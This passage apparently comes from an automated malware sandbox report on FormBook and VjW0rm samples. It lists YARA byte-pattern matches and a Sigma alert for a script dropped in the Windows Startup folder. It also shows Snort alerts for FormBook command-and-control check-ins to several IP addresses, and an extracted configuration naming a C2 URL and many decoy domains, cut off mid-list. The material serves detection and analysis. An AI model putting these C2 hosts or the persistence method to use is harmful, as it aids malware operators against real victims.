48 67 0x6274:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0x6284:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67
00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xb1618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xb19b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbed55:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xbe801:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xbee57:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xbefcf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xb23ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xbda7c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb3142:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xc43a7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xc54aa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xc1229:$sqlite3step: 68 34 1C 7B E1 0xc133c:$sqlite3step: 68 34 1C 7B E1 0xc1258:$sqlite3text: 68 38 2A 90 C5 0xc137d:$sqlite3text: 68 38 2A 90 C5 0xc126b:$sqlite3blob: 68 53 D8 7F 8C 0xc1393:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000003.512633458.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7858:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7bf2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xb3b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1bcd1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xb4b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xb62f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x860a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1af4c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9592:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x15247:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xdd1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1c909:$sqlite3step: 68 34 1C 7B E1 0x1ca1c:$sqlite3step: 68 34 1C 7B E1 0x1c938:$sqlite3text: 68 38 2A 90 C5 0x1ca5d:$sqlite3text: 68 38 2A 90 C5 0x1c94b:$sqlite3blob: 68 53 D8 7F 8C 0x1ca73:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7858:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7bf2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xb3b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1bcd1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xb4b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xb62f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x860a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1af4c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9592:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x15247:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xdd1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1c909:$sqlite3step: 68 34 1C 7B E1 0x1ca1c:$sqlite3step: 68 34 1C 7B E1 0x1c938:$sqlite3text: 68 38 2A 90 C5 0x1ca5d:$sqlite3text: 68 38 2A 90 C5 0x1c94b:$sqlite3blob: 68 53 D8 7F 8C 0x1ca73:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x82c8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8662:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15a05:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x154b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15b07:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x15c7f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x907a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1472c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9df2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b057:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c15a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17ed9:$sqlite3step: 68 34 1C 7B E1 0x17fec:$sqlite3step: 68 34 1C 7B E1 0x17f08:$sqlite3text: 68 38 2A 90 C5 0x1802d:$sqlite3text: 68 38 2A 90 C5 0x17f1b:$sqlite3blob: 68 53 D8 7F 8C 0x18043:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: wscript.exe PID: 6972	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xa198d:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0xe8c15:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0xe8c25:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0xe9251:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0xe9261:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0xe9271:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0xe9281:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0xe92a1:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0xe92c1:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0xe92f5:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0xe9305:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0xe9315:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0xe9399:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0xe93a9:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0xe947d:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0xe948d:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0xe94f9:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0xe9519:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0xe9529:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0xe9539:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0xe9549:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67
Process Memory Space: wscript.exe PID: 7152	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 3576	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 1408	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Process Memory Space: wscript.exe PID: 6416	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
Click to see the 95 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
23.0.oxx7nkdv4g8.exe.8d0000.3.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
23.0.oxx7nkdv4g8.exe.8d0000.3.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
23.0.oxx7nkdv4g8.exe.8d0000.3.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
23.0.oxx7nkdv4g8.exe.8d0000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
23.0.oxx7nkdv4g8.exe.8d0000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
23.0.oxx7nkdv4g8.exe.8d0000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
3.0.bin.exe.10000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.0.bin.exe.10000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.0.bin.exe.10000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
23.0.oxx7nkdv4g8.exe.8d0000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
23.0.oxx7nkdv4g8.exe.8d0000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
23.0.oxx7nkdv4g8.exe.8d0000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
3.2.bin.exe.10000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.bin.exe.10000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.bin.exe.10000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
23.0.oxx7nkdv4g8.exe.8d0000.2.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
23.0.oxx7nkdv4g8.exe.8d0000.2.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
23.0.oxx7nkdv4g8.exe.8d0000.2.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
23.2.oxx7nkdv4g8.exe.8d0000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
23.2.oxx7nkdv4g8.exe.8d0000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
23.2.oxx7nkdv4g8.exe.8d0000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 16 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 7152, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 185.53.179.171

Timestamp:	192.168.2.5185.53.179.17149913802031453 05/27/22-18:43:48.469747
SID:	2031453
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 160.153.136.3

Timestamp:	192.168.2.5160.153.136.349830802031453 05/27/22-18:42:06.776383
SID:	2031453
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 134.122.201.217

Timestamp:	192.168.2.5134.122.201.21749940802031449 05/27/22-18:44:23.615589
SID:	2031449
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:	192.168.2.5170.39.76.2749964802031449 05/27/22-18:45:15.799755
SID:	2031449
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 134.122.201.217

Timestamp:	192.168.2.5134.122.201.21749940802031453 05/27/22-18:44:23.615589
SID:	2031453
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 103.247.11.212

Timestamp:	192.168.2.5103.247.11.21249848802031449 05/27/22-18:42:18.078087
SID:	2031449
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 160.153.136.3

Timestamp:	192.168.2.5160.153.136.349830802031412 05/27/22-18:42:06.776383
SID:	2031412
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 185.53.179.171

Timestamp:	192.168.2.5185.53.179.17149913802031412 05/27/22-18:43:48.469747
SID:	2031412
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 134.122.201.217

Timestamp:	192.168.2.5134.122.201.21749940802031412 05/27/22-18:44:23.615589
SID:	2031412
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:	192.168.2.5170.39.76.2749964802031412 05/27/22-18:45:15.799755
SID:	2031412
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:	192.168.2.5170.39.76.2749964802031453 05/27/22-18:45:15.799755
SID:	2031453
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 185.53.179.171

Timestamp:	192.168.2.5185.53.179.17149913802031449 05/27/22-18:43:48.469747
SID:	2031449
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:	192.168.2.5170.39.76.2749892802031449 05/27/22-18:43:24.808360
SID:	2031449
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 45.39.111.146

Timestamp:	192.168.2.545.39.111.14649920802031453 05/27/22-18:43:54.176553
SID:	2031453
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 45.39.111.146

Timestamp:	192.168.2.545.39.111.14649920802031412 05/27/22-18:43:54.176553
SID:	2031412
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:	192.168.2.5170.39.76.2749892802031453 05/27/22-18:43:24.808360
SID:	2031453
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 45.39.111.146

Timestamp:	192.168.2.545.39.111.14649920802031449 05/27/22-18:43:54.176553
SID:	2031449
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:	192.168.2.5170.39.76.2749892802031412 05/27/22-18:43:24.808360
SID:	2031412
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 103.247.11.212

Timestamp:	192.168.2.5103.247.11.21249848802031412 05/27/22-18:42:18.078087
SID:	2031412
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 160.153.136.3

Timestamp:	192.168.2.5160.153.136.349830802031449 05/27/22-18:42:06.776383
SID:	2031449
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 103.247.11.212

Timestamp:	192.168.2.5103.247.11.21249848802031453 05/27/22-18:42:18.078087
SID:	2031453
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.gafcbooster.com/np8s/"], "decoy": ["segredovideos.online", "kishanshree.com", "mjmvn.com", "44bb44.com", "brawlhallacodestore.com", "littlebeartreeservices.com", "topings33.com", "nachuejooj07.xyz", "waermark.com", "halecamilla.site", "basincreekmedia.com", "resolutionmeasles.com", "interlink-travel.com", "siberup.xyz", "getbusinesscreditandfunding.com", "shcylzc.com", "68chengxinle.com", "jkrsbarmybookarmy.com", "geo-pacificoffshore.com", "refreshertowels.com", "localbloom.online", "brandingaloha.com", "84866.xyz", "salondutaxi.com", "harmlett.com", "angelmatic.net", "o7oiwlp.xyz", "thepowerofanopenquestion.com", "tokenascent.com", "udrivestorage.com", "hengyuejiguang.com", "minotaur.network", "ratebill.com", "18w99.com", "2264a.com", "tentanguang.online", "muddybootslife.com", "vitality-patients.online", "heavymettlelawyers.com", "spxtokensales.com", "titair.com", "lazarusnatura.com", "rasheedabossmoves.com", "medyumgalip.com", "liveafunday.xyz", "xn--wsthof-camping-gsb.com", "xfd8asvtivg944.xyz", "myhvn.site", "964061.com", "screeshot.com", "mysbaally.com", "connectfamily.loan", "langlev.com", "labsreports-menalab.com", "gabefancher.com", "jdhwh2nbiw234.com", "pdwfifi.com", "losangelesrentalz.com", "brandpay.xyz", "jlbwaterdamagerepairseattle.com", "wps-mtb.com", 